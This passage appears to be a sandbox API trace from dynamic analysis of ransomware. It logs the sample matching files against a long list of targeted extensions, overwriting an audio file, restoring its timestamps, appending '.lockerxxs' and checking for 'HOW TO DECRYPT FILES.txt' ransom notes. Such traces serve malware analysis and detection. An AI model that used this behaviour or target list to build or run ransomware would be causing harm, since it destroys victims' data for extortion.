(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.qif") returned 0 [0090.282] lstrlenA (lpString="*.qif") returned 5 [0090.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.mye") returned 0 [0090.282] lstrlenA (lpString="*.mye") returned 5 [0090.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.mbox") returned 0 [0090.282] lstrlenA (lpString="*.mbox") returned 6 [0090.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.eml") returned 0 [0090.282] lstrlenA (lpString="*.eml") returned 5 [0090.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.pst") returned 0 [0090.282] lstrlenA (lpString="*.pst") returned 5 [0090.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.ost") returned 0 [0090.282] lstrlenA (lpString="*.ost") returned 5 [0090.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.idx") returned 0 [0090.282] lstrlenA (lpString="*.idx") returned 5 [0090.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.dbx") returned 0 [0090.283] lstrlenA (lpString="*.dbx") returned 5 [0090.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.sql") returned 0 [0090.283] lstrlenA (lpString="*.sql") returned 5 [0090.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.mdb") returned 0 [0090.283] lstrlenA (lpString="*.mdb") returned 5 [0090.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.fdb") returned 0 [0090.283] lstrlenA (lpString="*.fdb") returned 5 [0090.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.wab") returned 0 [0090.283] lstrlenA (lpString="*.wab") returned 5 [0090.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.dat") returned 0 [0090.283] lstrlenA (lpString="*.dat") returned 5 [0090.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.txt") returned 0 [0090.283] lstrlenA (lpString="*.txt") returned 5 [0090.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.jpeg") returned 0 [0090.283] lstrlenA (lpString="*.jpeg") returned 6 [0090.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.jpg") returned 0 [0090.283] lstrlenA (lpString="*.jpg") returned 5 [0090.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.png") returned 0 [0090.284] lstrlenA (lpString="*.png") returned 5 [0090.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.php") returned 0 [0090.284] lstrlenA (lpString="*.php") returned 5 [0090.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.cs") returned 0 [0090.284] lstrlenA (lpString="*.cs") returned 4 [0090.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.cpp") returned 0 [0090.284] lstrlenA (lpString="*.cpp") returned 5 [0090.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.rar") returned 0 [0090.284] lstrlenA (lpString="*.rar") returned 5 [0090.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.zip") returned 0 [0090.284] lstrlenA (lpString="*.zip") returned 5 [0090.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.html") returned 0 [0090.284] lstrlenA (lpString="*.html") returned 6 [0090.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.htm") returned 0 [0090.284] lstrlenA (lpString="*.htm") returned 5 [0090.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.xlsx") returned 0 [0090.284] lstrlenA (lpString="*.xlsx") returned 6 [0090.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.xls") returned 0 [0090.284] lstrlenA (lpString="*.xls") returned 5 [0090.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.mp4") returned 0 [0090.284] lstrlenA (lpString="*.mp4") returned 5 [0090.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.ppt") returned 0 [0090.285] lstrlenA (lpString="*.ppt") returned 5 [0090.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.pptx") returned 0 [0090.285] lstrlenA (lpString="*.pptx") returned 6 [0090.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.doc") returned 0 [0090.285] lstrlenA (lpString="*.doc") returned 5 [0090.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.dot") returned 0 [0090.285] lstrlenA (lpString="*.dot") returned 5 [0090.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.docx") returned 0 [0090.285] lstrlenA (lpString="*.docx") returned 6 [0090.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.7z") returned 0 [0090.285] lstrlenA (lpString="*.7z") returned 4 [0090.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.tar") returned 0 [0090.285] lstrlenA (lpString="*.tar") returned 5 [0090.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.bz2") returned 0 [0090.285] lstrlenA (lpString="*.bz2") returned 5 [0090.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.gz") returned 0 [0090.285] lstrlenA (lpString="*.gz") returned 4 [0090.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.mkv") returned 0 [0090.286] lstrlenA (lpString="*.mkv") returned 5 [0090.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.eml") returned 0 [0090.286] lstrlenA (lpString="*.eml") returned 5 [0090.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.msg") returned 0 [0090.286] lstrlenA (lpString="*.msg") returned 5 [0090.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.edb") returned 0 [0090.286] lstrlenA (lpString="*.edb") returned 5 [0090.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.accdb") returned 0 [0090.286] lstrlenA (lpString="*.accdb") returned 7 [0090.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.odb") returned 0 [0090.286] lstrlenA (lpString="*.odb") returned 5 [0090.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.java") returned 0 [0090.286] lstrlenA (lpString="*.java") returned 6 [0090.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.asm") returned 0 [0090.286] lstrlenA (lpString="*.asm") returned 5 [0090.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.pfx") returned 0 [0090.286] lstrlenA (lpString="*.pfx") returned 5 [0090.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.pem") returned 0 [0090.287] lstrlenA (lpString="*.pem") returned 5 [0090.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.p12") returned 0 [0090.287] lstrlenA (lpString="*.p12") returned 5 [0090.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.gpg") returned 0 [0090.287] lstrlenA (lpString="*.gpg") returned 5 [0090.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.vsd") returned 0 [0090.287] lstrlenA (lpString="*.vsd") returned 5 [0090.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.odg") returned 0 [0090.287] lstrlenA (lpString="*.odg") returned 5 [0090.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.raw") returned 0 [0090.287] lstrlenA (lpString="*.raw") returned 5 [0090.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.nef") returned 0 [0090.287] lstrlenA (lpString="*.nef") returned 5 [0090.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.svg") returned 0 [0090.287] lstrlenA (lpString="*.svg") returned 5 [0090.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.psd") returned 0 [0090.287] lstrlenA (lpString="*.psd") returned 5 [0090.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.vmx") returned 0 [0090.288] lstrlenA (lpString="*.vmx") returned 5 [0090.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.vmdk") returned 0 [0090.288] lstrlenA (lpString="*.vmdk") returned 6 [0090.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.vdi") returned 0 [0090.288] lstrlenA (lpString="*.vdi") returned 5 [0090.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.lay6") returned 0 [0090.288] lstrlenA (lpString="*.lay6") returned 6 [0090.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.mpeg") returned 0 [0090.288] lstrlenA (lpString="*.mpeg") returned 6 [0090.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.djvu") returned 0 [0090.288] lstrlenA (lpString="*.djvu") returned 6 [0090.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.tiff") returned 0 [0090.288] lstrlenA (lpString="*.tiff") returned 6 [0090.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.backup") returned 0 [0090.288] lstrlenA (lpString="*.backup") returned 8 [0090.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.pdf") returned 0 [0090.288] lstrlenA (lpString="*.pdf") returned 5 [0090.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.cert") returned 0 [0090.288] lstrlenA (lpString="*.cert") returned 6 [0090.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.docm") returned 0 [0090.289] lstrlenA (lpString="*.docm") returned 6 [0090.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.xlsm") returned 0 [0090.289] lstrlenA (lpString="*.xlsm") returned 6 [0090.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.dwg") returned 0 [0090.289] lstrlenA (lpString="*.dwg") returned 5 [0090.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.nd") returned 0 [0090.289] lstrlenA (lpString="*.nd") returned 4 [0090.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.tlg") returned 0 [0090.289] lstrlenA (lpString="*.tlg") returned 5 [0090.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.lgb") returned 0 [0090.289] lstrlenA (lpString="*.lgb") returned 5 [0090.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.mov") returned 0 [0090.289] lstrlenA (lpString="*.mov") returned 5 [0090.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.xdw") returned 0 [0090.289] lstrlenA (lpString="*.xdw") returned 5 [0090.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.ods") returned 0 [0090.289] lstrlenA (lpString="*.ods") returned 5 [0090.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.wav") returned 0 [0090.290] lstrlenA (lpString="*.wav") returned 5 [0090.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.mp3") returned 0 [0090.290] lstrlenA (lpString="*.mp3") returned 5 [0090.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.aiff") returned 0 [0090.290] lstrlenA (lpString="*.aiff") returned 6 [0090.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.flac") returned 0 [0090.290] lstrlenA (lpString="*.flac") returned 6 [0090.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.m4a") returned 1 [0090.290] lstrlenA (lpString="*.m4a") returned 5 [0090.290] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a" [0090.290] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a" [0090.291] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a." [0090.291] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a.lockerxxs" [0090.291] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\5ovc.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0090.292] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5335 [0090.292] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1e1bb5d0, dwHighDateTime=0x1d5e79a), lpLastAccessTime=0x407536*(dwLowDateTime=0x6406fb10, dwHighDateTime=0x1d5e4aa), lpLastWriteTime=0x40753e*(dwLowDateTime=0x6406fb10, dwHighDateTime=0x1d5e4aa)) returned 1 [0090.292] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.292] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x530f, lpOverlapped=0x0) returned 1 [0090.294] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a") returned="5OvC.m4a" [0090.294] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.294] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x530f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x530f, lpOverlapped=0x0) returned 1 [0090.294] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.294] CloseHandle (hObject=0x88) returned 1 [0090.295] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\5ovc.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\5ovc.m4a.lockerxxs")) returned 1 [0090.296] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x3a000339, dwReserved1=0x4e00c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.296] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.296] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0090.296] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0090.296] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0090.296] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a") returned="5OvC.m4a" [0090.296] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0090.296] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="" [0090.296] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt" [0090.296] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\how to decrypt files.txt")) returned 0x20 [0090.296] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini" [0090.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.ems") returned 0 [0090.297] lstrlenA (lpString="*.ems") returned 5 [0090.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.db") returned 0 [0090.297] lstrlenA (lpString="*.db") returned 4 [0090.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.dbf") returned 0 [0090.297] lstrlenA (lpString="*.dbf") returned 5 [0090.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.myox") returned 0 [0090.297] lstrlenA (lpString="*.myox") returned 6 [0090.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.myo") returned 0 [0090.297] lstrlenA (lpString="*.myo") returned 5 [0090.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.qbw") returned 0 [0090.297] lstrlenA (lpString="*.qbw") returned 5 [0090.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.qbb") returned 0 [0090.297] lstrlenA (lpString="*.qbb") returned 5 [0090.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.qbm") returned 0 [0090.297] lstrlenA (lpString="*.qbm") returned 5 [0090.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.qbo") returned 0 [0090.297] lstrlenA (lpString="*.qbo") returned 5 [0090.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.qbx") returned 0 [0090.298] lstrlenA (lpString="*.qbx") returned 5 [0090.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.qba") returned 0 [0090.298] lstrlenA (lpString="*.qba") returned 5 [0090.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.qby") returned 0 [0090.298] lstrlenA (lpString="*.qby") returned 5 [0090.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.qbj") returned 0 [0090.298] lstrlenA (lpString="*.qbj") returned 5 [0090.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.ofx") returned 0 [0090.298] lstrlenA (lpString="*.ofx") returned 5 [0090.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.qif") returned 0 [0090.298] lstrlenA (lpString="*.qif") returned 5 [0090.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.mye") returned 0 [0090.298] lstrlenA (lpString="*.mye") returned 5 [0090.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.mbox") returned 0 [0090.298] lstrlenA (lpString="*.mbox") returned 6 [0090.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.eml") returned 0 [0090.298] lstrlenA (lpString="*.eml") returned 5 [0090.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.pst") returned 0 [0090.298] lstrlenA (lpString="*.pst") returned 5 [0090.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.ost") returned 0 [0090.299] lstrlenA (lpString="*.ost") returned 5 [0090.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.idx") returned 0 [0090.299] lstrlenA (lpString="*.idx") returned 5 [0090.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.dbx") returned 0 [0090.299] lstrlenA (lpString="*.dbx") returned 5 [0090.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.sql") returned 0 [0090.299] lstrlenA (lpString="*.sql") returned 5 [0090.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.mdb") returned 0 [0090.299] lstrlenA (lpString="*.mdb") returned 5 [0090.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.fdb") returned 0 [0090.299] lstrlenA (lpString="*.fdb") returned 5 [0090.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.wab") returned 0 [0090.299] lstrlenA (lpString="*.wab") returned 5 [0090.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.dat") returned 0 [0090.299] lstrlenA (lpString="*.dat") returned 5 [0090.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.txt") returned 0 [0090.299] lstrlenA (lpString="*.txt") returned 5 [0090.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.jpeg") returned 0 [0090.300] lstrlenA (lpString="*.jpeg") returned 6 [0090.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.jpg") returned 0 [0090.300] lstrlenA (lpString="*.jpg") returned 5 [0090.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.png") returned 0 [0090.300] lstrlenA (lpString="*.png") returned 5 [0090.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.php") returned 0 [0090.300] lstrlenA (lpString="*.php") returned 5 [0090.300] 